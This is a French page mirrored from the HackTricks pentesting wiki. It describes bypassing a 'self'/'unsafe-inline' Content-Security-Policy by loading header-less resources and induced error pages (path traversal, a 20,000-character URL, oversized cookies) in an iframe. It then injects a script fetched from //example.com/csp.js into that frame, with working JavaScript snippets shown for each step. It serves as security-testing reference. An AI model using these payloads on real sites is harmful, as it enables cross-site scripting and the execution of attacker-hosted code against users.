mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
59 lines
2.6 KiB
Markdown
59 lines
2.6 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
Une configuration telle que :
|
|
```
|
|
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
|
```
|
|
Interdit l'utilisation de toute fonction qui exécute du code transmis sous forme de chaîne. Par exemple : `eval, setTimeout, setInterval` seront tous bloqués en raison du paramètre `unsafe-eval`.
|
|
|
|
Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets et, en particulier, JS.
|
|
|
|
### Via Texte & Images
|
|
|
|
Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si un fichier image ou texte, tel que `favicon.ico` ou `robots.txt`, est ouvert via un `iframe`, il est rendu en tant que HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles :
|
|
```javascript
|
|
frame = document.createElement("iframe")
|
|
frame.src = "/css/bootstrap.min.css"
|
|
document.body.appendChild(frame)
|
|
script = document.createElement("script")
|
|
script.src = "//example.com/csp.js"
|
|
window.frames[0].document.head.appendChild(script)
|
|
```
|
|
### Via Erreurs
|
|
|
|
De même, les réponses d'erreur, comme les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Des erreurs peuvent être induites pour se charger dans une iframe, permettant les actions suivantes :
|
|
```javascript
|
|
// Inducing an nginx error
|
|
frame = document.createElement("iframe")
|
|
frame.src = "/%2e%2e%2f"
|
|
document.body.appendChild(frame)
|
|
|
|
// Triggering an error with a long URL
|
|
frame = document.createElement("iframe")
|
|
frame.src = "/" + "A".repeat(20000)
|
|
document.body.appendChild(frame)
|
|
|
|
// Generating an error via extensive cookies
|
|
for (var i = 0; i < 5; i++) {
|
|
document.cookie = i + "=" + "a".repeat(4000)
|
|
}
|
|
frame = document.createElement("iframe")
|
|
frame.src = "/"
|
|
document.body.appendChild(frame)
|
|
// Removal of cookies is crucial post-execution
|
|
for (var i = 0; i < 5; i++) {
|
|
document.cookie = i + "="
|
|
}
|
|
```
|
|
Après avoir déclenché l'un des scénarios mentionnés, l'exécution de JavaScript dans l'iframe est réalisable comme suit :
|
|
```javascript
|
|
script = document.createElement("script")
|
|
script.src = "//example.com/csp.js"
|
|
window.frames[0].document.head.appendChild(script)
|
|
```
|
|
## Références
|
|
|
|
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|